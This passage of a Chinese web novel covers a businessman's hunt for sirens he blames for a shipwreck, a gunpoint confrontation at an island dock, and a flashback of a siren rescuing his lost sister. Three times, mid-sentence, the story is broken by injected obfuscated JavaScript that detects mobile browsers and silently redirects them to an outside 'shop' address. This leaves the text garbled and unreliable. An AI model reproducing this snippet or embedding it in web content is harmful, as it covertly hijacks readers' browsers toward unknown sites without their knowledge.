北淼手下的人正在帮他准备出行的船只。这次“波塞冬”号的航行路线和之前丢失货物的“海龙号”极为相似,说不定会在途中找到塞壬出没的痕迹。但北淼深知,自己只是个普通人,无法与塞壬的歌声对抗,因此他只能另辟蹊径,做好遭遇塞壬的准备。 根据民间传说和三水之家的调查,目前能够免疫塞壬魅惑之歌的方法只有两种:要么个人先天体质、要么持有受其祝福的鳞片或者羽毛。由于“祝福”具体到个人,因此仅仅只是拥有它们并不能奏效。如果祝福之物被抢走、丢失,就会失去效果。 而“第三种”方法与祝福之物类似。有些炼金术师或巫术师会对塞壬的羽毛或鳞片进行特殊处理,使其在激活后的一定时间内对塞壬任何形式的歌声攻击免疫。只不过,塞壬本就是目击概率不亚于神话传说的生物,加上不同的塞壬习性不同、性格不同,能接触到它们的人凤毛麟角,更别说拿到它们身上的鳞片和羽毛了。俗话说,物以稀为贵,抛开施术的成本不谈,光是作为炼金素材本身,塞壬身上的材料就能卖出天价。那么,想要得到可以真正免疫塞壬魔法的鳞片和羽毛,就要付出更多。 不过幸好,北淼有的是钱。 他通过两个朋友的介绍,好不容易才找到这家全国唯一存有塞壬相关炼金材料售卖记录的地方。北淼开门见山地说明来意之后,驼背老人咯咯笑起来,声音沙哑得好似钉耙拨弄杂草,干燥又刺耳。他走下高凳,矮小的身子钻进柜台旁只有篮球那么大的墙洞,嘴上还不停说着他的“货”来得有多么不容易。 “你知道,大部分时候得到一份珍惜材料最好的方式就是猎杀它的所有者。” 不一会儿,驼背老头便从洞内走出,手里多了一个透出青绿色微光的麻布小袋。他一步步慢慢走上高凳,小心地将麻布袋放在柜台上,拉开袋口的细绳、将内袋外翻,露出里头已经被打孔穿绳、打磨干净的水滴状鳞片,足足有半个手掌那么大。 北淼伸手要拿,老头嘿嘿笑了笑迅速拉好袋口的绳子挪开手,让北淼抓了个空。他伸出几根手指,对北淼说出它的价格。如果是普通人,估计会因为这个数字过于庞大以至于失去概念,但这对北淼来说,它只是“必要投资”,就像他裤腰和矮靴上别着的两把.45一样。如果真的遭遇塞壬,他可没打算就这么轻而易举地放过它们。 北淼一言不发地从口袋里拿出支票,填上老头所说的数额,分文不差。但他在一手交钱一手交货之前忽然折腕收回支票,挑眉问道:“如果你告诉我,你的‘货’当初是从谁那里拿到的,你还能再赚一笔。” 老头似乎有些为难,咧开嘴尴尬笑笑,面上是机警谨慎,眼珠子却盯着北淼手里的支票转来转去:“我的好老板,那都是客人的隐私,说不得呀。我们干这行的,不就赚个诚信钱。要是名声坏了,可就……” “我只要个名字。或者,你可以给我一个方向。”北淼对这种贪得无厌嗤之以鼻,为表诚意,提笔就写下另一张支票,两张夹在指间,手腕一转都递了出去。 “哎呀,老板,您这不是为难我吗。”老头虽然说得犹豫,却早已拿过两张支票,脸上的笑容那叫一个灿烂。他随意扯下一张便条,在上面写下一串文字,若无其事地压在柜台推给北淼:“无可奉告、无可奉告啊。欢迎老板下次光临。” 北淼瞥一眼那张纸条,冷笑着抓起麻布袋子收进斜挎包。这破地方他一秒钟都不想多待。于是他不再多言,朝着门口径直离开。 坐上亮黄色超跑后,北淼将鳞片项链拿在手中仔细端详,另一只手展开刚刚那个店主交给自己的纸条。上面歪歪扭扭地写着一行字: “灰喑(yīn)生物科学研究所,卡伦” ———— “波塞冬号”总航程需要大约一周。北淼暂时收集不到关于塞壬和这个“灰喑”的其他信息,这也让他有更多时间思考目前得到的情报。 为了不错过任何海面的情况和船员的变化,北淼常常在甲板上晃悠。他每隔一段时间就会让货船先停下来,自己坐救生艇下海亲自感受海洋流向。要知道,他的触感可比科技精准多了——至少他有这样的自信。 一次次经过装满货物的大集装箱,北淼不禁在想,除了“苏兰特号”至今仍有“塞壬阴谋论”之外,新闻上并没有其他关于塞壬伤人的事件发生,近年反倒是保险相关的新闻微妙地变得多了起来。如此倒推,那些“货物在海运过程中因不可抗力造成损失”的案件,很可能也有塞壬的参与。他看过三水之家的调查报告,最近几年这类“意外”的发生概率同比增长了百分之320%,这绝对不合理。 也就是说,从近几年开始,塞壬——至少是某一派塞壬——针对货船进行袭击,偷取货物、篡改记忆,以此来牟利。 得出这个结论不难,但北淼很快发现了另一个问题:塞壬是“怪物”,它们要那些“货物”有什么用?它们能从中得到什么“利益”?北淼想起调查报告中丢失的货物大多是金属、电子产品、药剂、影像制品、家具等货币价值较为昂贵的物品。但北淼认为,塞壬可不会玩手机、吃感冒药、看电影和搞装修。 那么这就说明,塞壬只是一把“刀”,北淼要做的,是找到握住它的那个“人”。 在北淼看来,塞壬是非常危险的存在。如果这个“人”手里有塞壬这张牌,那就意味着总有一天他会指使它去伤害人类。这不是北淼的偏见,而是他亲历的事实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334688|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪物就是怪物,哪怕再漂亮,也是杀人凶手。 想到这里,趴在船尾栏杆上的北淼直起身,掏出腰间的手木丨仓检查保险、弹夹,测试上膛和准星。裤袋里的鳞片隐约闪着绿光。 他或许不会干掉塞壬,而是将其活捉回去,丢进某个水缸里——哦,这家伙会飞,那先把翅膀废掉。 北淼脑子里闪过很多疯狂的想法,毕竟他并不打算善待自己的仇敌。不过仔细想想,他觉得通过塞壬寻找小雪的线索比较重要。等到它没有利用价值了再决定怎么处理也不晚。 确认好身上的两把枪和一把匕首之后,见天色逐渐暗下来,北淼转身准备回休息室睡个十几分钟。然而就在此时,从大海的某处——他甚至无法判断方向——传来阵阵优美的歌声,那不是属于人类的语言,北淼却能听懂其中吟唱的语义: “调转方向、跟随指引; “乘风破浪、直至黎明。” ……来了。 刹那,船身因突兀的转向和变速发生倾斜,互相撞击的集装箱也发出吱嘎的摩擦声。 北淼心中不知是惊喜还是紧张,在船身转变角度时险些滑到,下意识地抓紧栏杆。他将发出耀眼光芒的鳞片藏进夹克内袋里,接着迅速站稳,在逐渐降临的黑暗中压低身形,贴着船侧面的集装箱缓步前进,拿出手枪上膛举在脸侧,一刻都不敢松懈。 “岛屿浸在明媚的阳光里, “远山灰朦不清, “孤独的微风在林中低呓, “诉说着那神秘的谜。”* (*ICO -You were There-Steven Geraghty) 歌声仍在继续,悦耳得仿佛不是来自这个世界的声音,纯粹得好似能穿透灵魂直达心底。它和北淼记忆中的刺耳尖叫截然不同,处处透露着如水的温柔;仔细听还能听出一丝淡淡的伤感,如同漂泊在汪洋之上的历史悲歌。 但越是平静的水面,水下越有可能是万丈深渊。这就是塞壬最危险的地方。因为有“祝福之物”,他才没有受到影响,天知道这个家伙用它的嗓音害死了多少没有任何保护的人。 货船开始在歌声里航行。北淼知道,塞壬不可能在海上“卸货”,它们一定有作为“大本营”的码头,这是个摸底的好机会。于是他决定将计就计,躲进船舱中等待“波塞冬号”靠岸。 这时北淼才反应过来,唱歌的塞壬是个雄性。他一直以为塞壬——传说中的“海洋女妖”——只有雌性,看来调查报告那句“雄性数量极少”不是空穴来风。 北淼忽然有一种奇怪的感觉。他似乎不是第一次见到雄性塞壬。可“苏兰特号”沉没时,他清楚地听到那刺耳的狂暴之声来自雌性。将他折磨至今的噩梦他绝不会忘记。 可是这样的话,只有—— 一抹无垢的蓝色在这瞬间如流星闪过北淼的脑海。 “那个时候的家伙……原来是个雄性啊。” TBC 61. 正面交锋[番外] 船体的紧急制动将浅眠的北淼惊醒。 他看了眼时间:早上6点。即使喝下3杯浓缩黑咖啡,他也没熬过第四个夜晚,昏昏沉沉地睡了几个小时。现在是“波塞冬号”遭遇塞壬的第五天,船舱外依旧隐约能听见塞壬那动听的歌声,北淼也不知道这家伙是从头到尾都没停过还是有什么特殊的“规律”,老实说他也不在乎。重要的是,船已靠岸,轮到他主动出击了。 北淼摸出枕头底下一直放着的手枪别在腰间,到杂物室换上工作制服,混在那些被塞壬指挥着操作集装箱卸货的船员里顺利沿码头上岸。 为避免打草惊蛇,北淼率先躲进码头旁看上去闲置已久的门岗亭内。他拔出手枪、做好防御准备,背靠门板慢慢抬高视线,透过岗亭透明的玻璃板向外观察视线内的情况。 这里给北淼的第一印象就是荒凉的海上孤岛,甚至没什么绿色的植被。放眼望去,除了一辆蓝色皮卡、一个正在卸货的码头、远处一栋双层房屋,几座岩石堆砌出来的崎岖山丘,别说花草树木,连其他动物的影子都看不到。 北淼将视线转移到码头处。码头沿岸的木板桥上正坐着一只拥有银白色鱼尾的人鱼——不,应该说是塞壬,因为北淼看到它正对着“波塞冬号”轻声歌唱。时间正值清晨,日出的晨光将其包裹,覆在它赤裸上身的银色鳞片闪得北淼不自觉地移开视线。真刺眼。北淼烦躁地想,忍住没对着光线的方向开一枪。而在塞壬身后不远处,更靠近内陆的地方,站着一位手拿记录板的女性,年龄目测在二十往上。她穿着一身单薄的黑色长袖和紧身裤,脚下的皮质高跟与这里的环境属实有些不搭调。 根据北淼约莫半小时的观察,他发现整个码头——至少是他看到的范围——只有塞壬和这个女性在管理和运行:塞壬负责指挥船员进行卸货和运输、那名女性负责货物的确认、清点和交接。这很罕见,即使是这种规模的小型码头,只有两个……呃,严格意义上只有一个工作人员是无法完成一系列流程的。或许是因为塞壬的加持,毕竟它能操控人类的心智,船上的每个人都能为它所用。 但很快,北淼的思绪便被女性胸前挂着的项链闪烁的光打断。他微微眯眼,从口袋里拿出便携式单筒望远镜对准那忽隐忽现的光点。调整焦距后北淼注意到,那是和自己同款的“祝福之物”,只不过这枚鳞片更小,可能只有两枚硬币那么大,发出的光也是银白色的。不难猜出,鳞片来自码头边歌唱的那只塞壬。 真是稀奇,北淼想,人类居然和这种怪物合作。一开始北淼还在想塞壬是不是也控制了她,现在看来,并非花大价钱、而是真正得到“塞壬的祝福”,这名女性的身份估计也不是普普通通一个交接员简单。 那么,他要进行一次正面谈话吗?人数和地理位置都对他有利。孤岛的坐标距离尼莫点海域其实不远,假设这个岛上只有他们两个家伙,就算临时指派增援,也不可能在北淼离开前到达。既然总有一天要和这帮家伙对峙,为何不先行一步给他们一个下马威呢? 北淼如此想着,从门岗亭另一边打开的窗口翻出亭外。落地发出的声响很小,似乎没有引起他们的注意。看来这些年他的健身和体术训练可没白费功夫。 他离那名女性不算远,塞壬也背对着这个方向。因此在北淼冰冷的枪口抵上她后腰时,他清晰地通过枪管感觉到对方整个人僵直了几秒。北淼没有给她先开口说话的机会,而是对着塞壬大声喊道: “喂!给我马上停手!否则我就开枪了!” 歌声戛然而止。行走的船员们仿佛被暂停时间、呆滞地一动不动,下一秒便倒在地上陷入昏迷。 银色的塞壬背转过身,看到北淼这个陌生来客以及他手中的黑色火器之后顿时散发出强烈的敌意,却又像是感应到什么似的死死盯着北淼胸口的位置,神色逐渐转为无措和恐惧——它知道那里有什么,他也知道自己现在做任何事都无能为力。 冰儿从没想过有一天她会这么狼狈,居然会被人从身后拿枪威胁。她上一次看到西钊这个表情大概是十年之前的事了,那时威胁他的人是卡伦,而代价……冰儿厌恶地皱起眉,在枪管再次顶了顶她背部之后慢慢举起双手,朝西钊微微摇头,示意自己没事,别轻举妄动。 西钊本想化出鸟足登上陆地,但距离卡伦上一次送来药剂已经过去快一周,他本就残缺的身体根本无法维持那个形态。在西钊的印象里,人们总说塞壬是强大而危险的,但对卡伦而言、对面前这个想要伤害冰儿的人类而言,他们只不过是“宠物”、是“怪物”。 “看来,是我低估你们‘黑犀集团’了。”冰儿的话语没有任何感情,她的手不停转动笔杆,思考如何找到最佳时机抽出藏在其中的银针。 这话听上去,他们对自己的公司好像别有一番研究啊。北淼眉毛一挑,嗤笑道:“我可没有其他人那么好对付。能想到用塞壬来做掩护,你们这帮‘海盗’还真是专业。说吧,你们在为谁工作?” 冰儿没有马上回答,她在考虑最坏的情况。都说不管七步以内还是七步之外都是枪更快,但以冰儿多年来在卡伦手下残酷的体术训练,在这种距离,用毒针与其搏个同归于尽也不是没有可能。她握紧笔杆,慢慢扭转笔身。 北淼等不到回答,冷哼一声对着西钊身旁的地面开了一枪。子弹擦着西钊撑在地面的手打出火花,吓得他赶忙缩回手。 冰儿心里一惊,笔杆此时正好扭开,她手里攥着三根银针回身就朝北淼的喉咙发起突袭。北淼反应迅速地偏头躲开,手肘撞开冰儿的攻势后立马下用枪托精准地砸中她的手腕,使发黑的银针落在地上、插进沙石缝隙里。 “有用的情报给不出,阴险的招数倒是不少。”北淼重新将枪口指着她的额头,瞥一眼不远处的西钊,“那我们就从最简单的开始吧。把货还给我,让我的人上船。” 冰儿并未回头,因为她听到身后传来了熟悉的吟唱——在救她这件事上,西钊从来没犹豫过。方才晕倒的船员在塞壬的歌声中如提线木偶般站起,机械地将刚刚搬下来的货物重新装载回货船上。 北淼收回视线,不想把时间浪费在那种东西身上。他看向面前有着顺直长发的年轻女性,上下打量一番,冷嘲热讽道:“真想不通,有好好的日子不过,非得助纣为虐、甚至自降身份和怪物为伍。人生的路都是自己走出来的。到头来,你和那些家伙也没什么区别。” 冰儿依旧是那副冰冷的模样,没有回避他的视线,也没有对这番略有羞辱意味的话给出反驳。她就像一块常年漂泊在海洋上的坚冰,无论如何敲打,都无法将其融化、也无法被任何事物触及。 如果“那些家伙”指的是西钊,那她会把这番话当做是夸奖。在冰儿眼中,人类是比所谓“怪物”更伪善的存在。他们只会像她哥哥一样空口许诺、像卡伦一样贪得无厌、像现在这个家伙一样自以为是。 沉默持续很长时间,一直到西钊的吟唱结束,船员和货物都回归了“波塞冬号”。 北淼逐渐意识到在这里相互僵持没有意义。他考虑过现在就把这个女性和塞壬劫走进行进一步的调查和审问,但他最初的目的只是收集情报,而不是拿整艘船船员的生命冒险。谁都不知道塞壬会做出什么疯狂的事。再说,只要他持有“祝福之物”,这两个家伙……压根不是他的对手。既然如此,就采取不那么暴力的策略,说不定,他作为“黑犀海上贸易”的最高层,能通过这个作为“中转站”的孤岛联系上真正的幕后主使。 “看来,今天我们是没办法有任何进展了。” 北淼笑着叹了口气,扣回手枪的保险将其举在身侧示意自己“率先”撤下攻势,接着便把枪别回腰间,理好外套。他抖了抖制服的领口,内袋鳞片的青绿微光忽隐忽现。虽只有一瞬间,但冰儿还是很好地捕捉到了这个细节。 “那就从哪里来,回哪里去。” 冰儿在看到微光的那一刻就明白这个家伙免疫塞壬歌声的源头并非像卡伦那样,是先天基因决定,而是受“祝福之物”的庇佑。于是她开始思考抢夺护符、使其失去效果的可行性。 但北淼接下来的举动打断来了她的思绪。只见他从口袋中拿出一张白色的卡片夹在双指间,摆出一副他再熟悉不过的职场假笑,朝冰儿递过去:“刚刚是我失礼。为表诚意,这是我的名片,上面有我的私人联系方式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334689|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。女士优先。比起你们‘上头’,我更期待你的来电。我想我们会度过一段不错的时光——至少比现在好。” 肤浅。冰儿忍住没有给这个虚伪的绅士翻白眼,毫不掩饰眼里的轻蔑和不屑。她伸手准备接那张她大概会撕个粉碎的卡片,北淼却在她的手即将触碰到卡片的的瞬间屈指甩腕,将其远远地丢在刚退潮不久、满是脏污的地面上。而他依旧保持着那副“绅士笑容”,越是细看就越是觉得讽刺——又或者,这是对她、以及他们,赤裸裸的羞辱。 “不好意思。我不想弄脏手。” 北淼一秒收敛笑意,再也无心扮演那个“高富帅公子哥”,绕过冰儿,朝码头走去。而在登船之前,北淼转过身,抬腿拔出短靴上的手枪,对准面前十几米开外的塞壬,精准地击中了它的肩膀。顿时,子弹强大的推力将它掀翻到海里。 “!?” “西钊!” 噢。被盐水浸泡伤口的感觉肯定不好受吧。北淼低声冷笑:“你给我小心点。下次,我不会射偏。” 并未理会一点点扩散在水面的猩红以及往那个方向赶去的人,北淼登上甲板,货轮已经开始远离港湾。他怎么放过任何一个塞壬呢?真是可笑。 当然,北淼承认,暴露自己的个人信息是一步险棋,但他从不会坐以待毙。既然他有胆量这么做,就表示他已经做好充足的准备。 “西钊……这个名字,我记住了。” ———— 冰儿帮西钊从伤口里夹出弹头时,西钊一声没吭。他虽然不能正常说话,但还是会因受刺激而发出声音。西钊不想让冰儿觉得他很疼,所以咬咬牙,忍了下来。反正都忍十年了,不差这一下。 冰儿给西钊包扎好之后就心不在焉地发呆。西钊还以为她在担心没完成的任务,结果发现她一直看着手里那张脏兮兮的名片。上面写着: 黑犀海上贸易有限公司董事长张北淼 公司地址:D市东街3号帝皇大厦20-30层 联系电话:135xxxxxxxx “张北淼……” 西钊听见冰儿低声念道,像是要将这两个字咬碎了吞进肚里一样,充满愤怒、恨意和痛苦。他看到冰儿攥紧拳头,名片在她掌心被揉成一团,文字和号码也变得模糊扭曲。 西钊朝冰儿前倾身体,将双手叠在她手背。塞壬的体温不高,礁石山洞里也不是很冷,但西钊知道冰儿需要这个。他闭上眼,感受着冰儿的情绪,原本稀疏散布银鳞的小臂外侧逐渐长出一对尖端带着些浅蓝的银色鱼鳍,鳞片也逐渐将他的整个小臂覆盖。 他开口,低声唱道: 把你所有的梦都给我, 你这做梦的人, 把你所有的 心的旋律都给我, 我可以把它们裹在 蓝色的云朵之布里, 远离这个世界的过于粗糙的 双手。* (*兰斯顿·休斯?守梦人?) 等西钊再睁开眼,冰儿已经靠着他、握着他的手熟睡。他先是将冰儿安置在岩壁旁,接着小心地捡起地上那个半干不湿的纸团,慢慢打开、铺平。 他来到人工湖岸的另一侧,搬开岩壁的一块岩石,里面是一个不大不小的空洞,已经被西钊塞了不少东西:一套孩童的衣服、一条白色的海螺项链、一张被海水泡得有些模糊看不清人像的旧照片。西钊小心翼翼地将皱巴巴的名片放进洞中,再用岩石堵上,确保从外面看毫无违和。 西钊趴在岸边,看着冰儿的睡颜。他不明白,为什么找到自己的家人不是一件让人开心的事,也不明白,为什么那个人类会袭击他,是因为他劫船了吗?那倒也说得通……因为夺取不属于自己的东西确实是不对的事情。不知道冰儿会不会把这件事告诉卡伦,也不知道她会不会联系那个叫北淼的人。因为是和家人一起放弃寻找她、判定她“推定死亡”的哥哥,所以才这样生气吗? 人类的感情,真复杂啊…… 西钊想着想着,视线也渐渐变得模糊,或许是伤口带来的疲惫,他就这么枕着手臂浅浅睡了过去。 TBC 62. 折翼的塞壬[番外] 太平洋某海域,十年前。 “苏兰特号”是黑犀集团名下最豪华的商业游轮,也是各派名流高层聚会度假的首选。 这天,由黑犀集团董事长举办的渡轮旅游公益活动顺利开展,人们乘坐“苏兰特号”,以D市为起点,预计绕太平洋半周,最终在S市靠岸。活动募集到的所有收益和资金,都会用于海洋动物保护与环境建设。 原本张董事长并没有让妻子和两个才刚满十二岁的孩子一起出行的打算,毕竟海上天气多变,商业场合也鱼龙混杂。但奈何登船当天,妻子带孩子们来送他,结果一个不留神,两个小鬼头躲着母亲钻进小铁箱,就这么偷偷跟上了船。等母亲发现,航船已经驶离港湾。她连忙联系丈夫告知情况,张董事长让保镖们找了半天,才找到货舱里从铁箱爬出来,正好奇到处探脑袋的淘气鬼们。 “北淼、小雪,你们知道错了吗?”父亲柔声问道。 “对不起,爸爸……”兄妹俩拉着小手,低头心虚地努嘴。 父亲无奈又宠溺地摸了摸两人的脑袋。现在派人用救生艇送他们回去已经太晚,油耗不足以支撑到码头。所幸游轮上还有余位,分些精力出来照顾他们并非难事。父亲让船上的服务生给孩子们分配房间,带他们去休息。 临走前,父亲拉住北淼,语重心长地拍拍他的肩膀:“小淼,你是哥哥,照顾好妹妹是你的责任,不要把小雪往危险的地方带,知道了吗?” 北淼望着父亲的眼睛,坚定地点点头。 北淼和小雪都是张家从阳光福利院领养的孩子。黑犀集团在参加一次福利院募捐活动时,无法孕育孩子的夫妻十分喜欢活泼又顽皮的小北淼,便毫不犹豫地将其领养。几年后,他们事业越发繁忙,甚至扩展到国外。担心北淼感到寂寞、得不到良好的指导和教育,夫妻俩决定领养一名女孩儿。于是,北淼身边便多了一个小她几个月的妹妹。 他们家的别墅建在海边,时常能看到一望无际的大海和红如烈火的美丽日出。北淼和小雪常常在管家的监督下结伴赶海,每次都能收获不同的惊喜。 有一次,他们亲眼见证了鲸鱼的搁浅,小雪没有被吓哭,却因为鲸鱼这不可避免的死亡感到悲伤而止不住眼泪。从那之后,北淼就立志要为“建设更好的海洋环境”做贡献。 还有一次是小雪的生日,北淼带着小雪从沙滩的这头,沿着海走到另一头,捡了许多零零碎碎的贝壳和海螺碎片。他们在管家的协助下,用它们拼凑出一幅十分抽象派的画像,依稀能看得出是拥抱在一起的两个人。这幅画被父母挂在别墅最最显眼的位置。那天,北淼还为小雪准备了一份特别的礼物:他亲手冲洗、打磨、制作的白色海螺项链。 “你看到它,就像我保护你一样。我们会一直在一起。”那时,北淼对小雪如此承诺道。 然而年幼的孩童哪里会想到,这世上本就没有永恒之物,过早地许下承诺,最终的结局只会是将自己的话语亲手击破,给双方留下难以抹去的创伤。 ———— 没有人知道这一切是怎么发生的。 直击大脑的刺耳尖叫与船体突然的倾斜转向几乎同时发生。所有人都痛苦地捂住耳朵凄惨地哀嚎,孩子们无一不瘫在地上放声哭泣,意志力强的还存有些行动力,满脸惊恐地寻找家人、到处奔逃。 而大人们则比孩子们先一步陷入疯狂,有的撞墙撞得头破血流也没有停下、有的提刀伤害自己和他人、有的翻身坠入大海再也没有浮上来、有的甚至拿起刀叉对着耳朵自残试图早日结束这种痛苦。 仅仅不到十分钟,原本欢闹的“苏兰特号”变为一片人间地狱。船体不受控制地加速、减速、转向、倾斜,直到侧面与海中凸起的礁石相撞,直接被折成两半。顷刻间,海水涌入船舱,将人们无情卷走,整个船体开始下沉。想要跳船逃生的人瞬间因虹吸效应被直直拉入海底。有几人挣扎着想要放下救生艇,却在最后一刻被那撕裂灵魂的尖锐声音逼得理智全失,最终跳海自尽。只留那孤独的救生艇“困”在船中,无人在意。 此时,船头已高高竖起,慢慢被拖入深海。而在它边缘,北淼强忍头脑中的嗡鸣,正紧紧抓着悬在空中即将坠落的小雪,试图将她拉回来。他们都在哭。北淼脑袋疼得说不出话,小雪则不停地喊“哥哥”。北淼没有足够的力气把小雪拉回来,而那持续不断的狂暴之声已经让他开始意识模糊。 有些东西,你本来抓住了,但只要你有一瞬的分神,这个瞬间足以让你手中的东西溜走、再也找不回来。 “哥哥——!!” 小雪的尖叫让北淼瞬间回神。他在失去意识的那一秒钟松开了手。北淼大喊着“不要”冲过去就要往海里跳,但他小小的身躯被坚实的臂膀环绕,一把将他捞回。船长用仅存的理智救了他,接着便吞枪自尽,血甚至溅到北淼的脸上,为他震惊的、无措的、恐惧的表情徒增几笔鲜红。 受到太多惊吓和刺激的北淼在船体最后一次摇晃中整个人撞到墙上,陷入昏迷。 ———— 西钊坐在海底的珊瑚石上,和周围的鱼儿们交流玩闹。他很喜欢这么做,不需要开口就能理解对方的意思。他也因此交到不少“朋友”,虽然它们总是很快把自己遗忘,但西钊依旧觉得这样的生活很惬意。 忽地,从遥远的西方传来一阵声波——他能看到声波在水中传递的痕迹,也认得出这段把周围鱼儿们都吓跑的声音来源是什么:塞壬,他的同类。 这种尖锐爆鸣又名“狂暴之歌”,是塞壬的某种自我保护机制和非必要不会使用的攻击手段。它不仅能够无视人们的听觉,直达神经、摧毁大脑将人逼疯,且作用范围广、持续时间长,任何拥有大脑和神经的生物都会受到影响。只有在极度恐惧、紧张、愤怒的情况下,塞壬才会通过它来自保。某种意义上,对于他们同类而言,这也是一种求救信号。 西钊没怎么犹豫,判定声音来自天空而非海洋之后,便摆动他银色的鱼尾如离弦之箭一般朝那个方向直冲而去。 令西钊意外的是,越接近声源,“狂暴之歌”的声音却逐渐变小、力量也慢慢变弱。与戛然而止不同,产生这种效果的唯一原因,就是唱出它的塞壬生命已经不可避免地走向尽头。西钊心头一紧,加快了游速。 紧接着出现在他面前的是一艘巨大的沉船,以及许多注定长眠海底的人类尸体。此刻西钊也明白这首凄厉的绝唱带来了怎样的代价。他本想继续寻着微弱的歌声寻找同类,却发现海面上似乎漂浮着什么。仔细一看,那是个倒扣着的救生艇,一个穿着淡蓝色衣服的女孩儿趴在救生艇露出水面的底部,显然失去了意识。下一秒,她小小的手臂就从救生艇上滑下来,毫无抵抗之力地往海底下沉。 西钊连忙甩动鱼尾上前抱起那个女孩,径直地冲出水面。在凌空的瞬间,鱼尾化作鸟足,他的背部瞬间展开三对洁白的羽翼,耳鳍也生出羽毛,化为耳翅。 重新接触到空气的女孩止不住地咳嗽、啜泣,看上去还没有完全清醒,嘴上还不停念着“哥哥”。此时,“狂暴之歌”还在继续,虽然伤害已经不大,但女孩依旧眉头紧锁、浑身发抖。西钊扇动翅膀,稳稳悬停在海面之上,伸手抚摸她冰凉的脸颊,轻声吟唱: 希望,携带着羽翼—— 在我的灵魂中筑巢栖息—— 哼唱着没有歌词的小曲—— 好似——永远不会停息—— 于狂风中——最能听见它的甜蜜—— 在风暴中才能阻止它的前进—— 这只小鸟因此陷入窘境 而它曾给多少人带去暖意—— 在最寒冷的土地上—— 在最汹涌的海面上—— 我曾听到它的啼鸣, 然而它从未,像我索取分厘, 哪怕身陷绝境。* (*摘自艾米莉·狄金森?希望,带着羽翼?) 在西钊歌声的安抚下,女孩的状态渐渐稳定,不再哭泣也不再颤抖,像是找到梦中那个安全的港湾,往西钊怀里靠了靠,安然睡去。 西钊松了口气,这才想起来环顾四周。海面上到处都是零碎的沉船漂浮物,放眼望去也没有游船经过、没有人类活动的痕迹。根据近半个世纪的观察,西钊得出“最好不要干涉人类或被人类目击”的生存经验,因此他不知道带着女孩往海港方向光明正大地在海域上飞行是不是一个好主意。但女孩是人类,有基本的生存需求,他至少要找个地方先安顿她。 西钊绕着事发地附近飞了两圈,注意到不远处有一座“岛”,准确来说是几块礁石摞起来的山洞。他当即决定带着女孩儿前往。当他到达山洞中时,那首“狂暴之歌”也停下了它最后的疯狂。 小雪在那天傍晚迷迷糊糊地醒来,发现身边除了一堆篝火之外,还有一只巨大的人型鸟足“怪物”。她吓得坐在地上连连后退,但对面的家伙似乎也被吓了一跳,甚至见她受惊还有些低落,起身默默离远了些,伸手用指背将地上用贝壳作碗的海带汤和烤野兔推给她。 他们对视良久,确认它好像没有敌意之后,小雪这才缓缓拿过食物狼吞虎咽地大口咀嚼。洞口迎风,入夜的海风灌入,让身上衣服还没干透的小雪打了个寒颤。“怪物”见状,连忙展开半边巨大的翅膀,几乎可以遮蔽整个洞口。它的另一半边翅膀绕过小雪,小心翼翼地贴在她身后,用上面的羽毛为她取暖。小雪一开始还有些拘谨,感受到它的暖意之后便放下戒心,往那洁白柔软的羽翼上侧身倚靠。 “你看起来不是怪物……”小雪帮它梳理羽毛,好奇地打量这个高大又漂亮的巨鸟,小声说道,“跟哥哥说的‘天使’很像。” 只见它歪了歪脑袋,抬爪用尖利的指甲在地面上划出痕迹。小雪凑过去看,发现那是两个词语: 塞壬 西钊 “塞…壬……塞壬!原来真的存在啊!”小雪惊喜地仰头望去,西钊贴心地蹲下身,尽可能降低两人之间的身高负担。小雪指着第二个词好奇地问:“那这个是什么?你的名字吗?” 西钊点点头。 “是你救了我?” 西钊又点点头。 “你是不是不能说话?” 西钊点点头,又摇摇头。 他们就这样有一搭没一搭地在海上的星夜里聊天。聊彼此、聊喜好、聊故事。西钊时不时会用爪子在地上写字,但更多地是用歌声和小雪交流。小雪想要回家,西钊便告诉她可以等等看最近有没有航船经过,人类或许会回到这里打捞船只。小雪担心哥哥和父亲的安危,西钊便下水搜寻,安慰她那里没有他们的身影,一定是及时得到救援,说不定会带人来找小雪。 他们就这样在这个不大的洞穴里度过了将近一个星期。西钊甚至将自己背部靠近背鳍的一枚鳞片取下,交给小雪,并给予她“塞壬的祝福”。他告诉小雪,有了这个,她就不用担心听到让她头疼的声音了。 然而,这段温馨的时光没有持续多久。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334690|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有等到路过的航船,等来的却是一场持续多年的噩梦。 这天正午,西钊完成在洞穴周围几海里的巡视之后,正要返回那个他临时筑的巢,却发现洞口停着一辆崭新的快艇。他立刻警觉起来,迅速冲进洞中寻找小雪的身影。在洞穴的尽头,他看到一个头发半白的男人抓住小雪细细的胳膊就往外面拽,不论小雪怎么哭闹也无济于事。 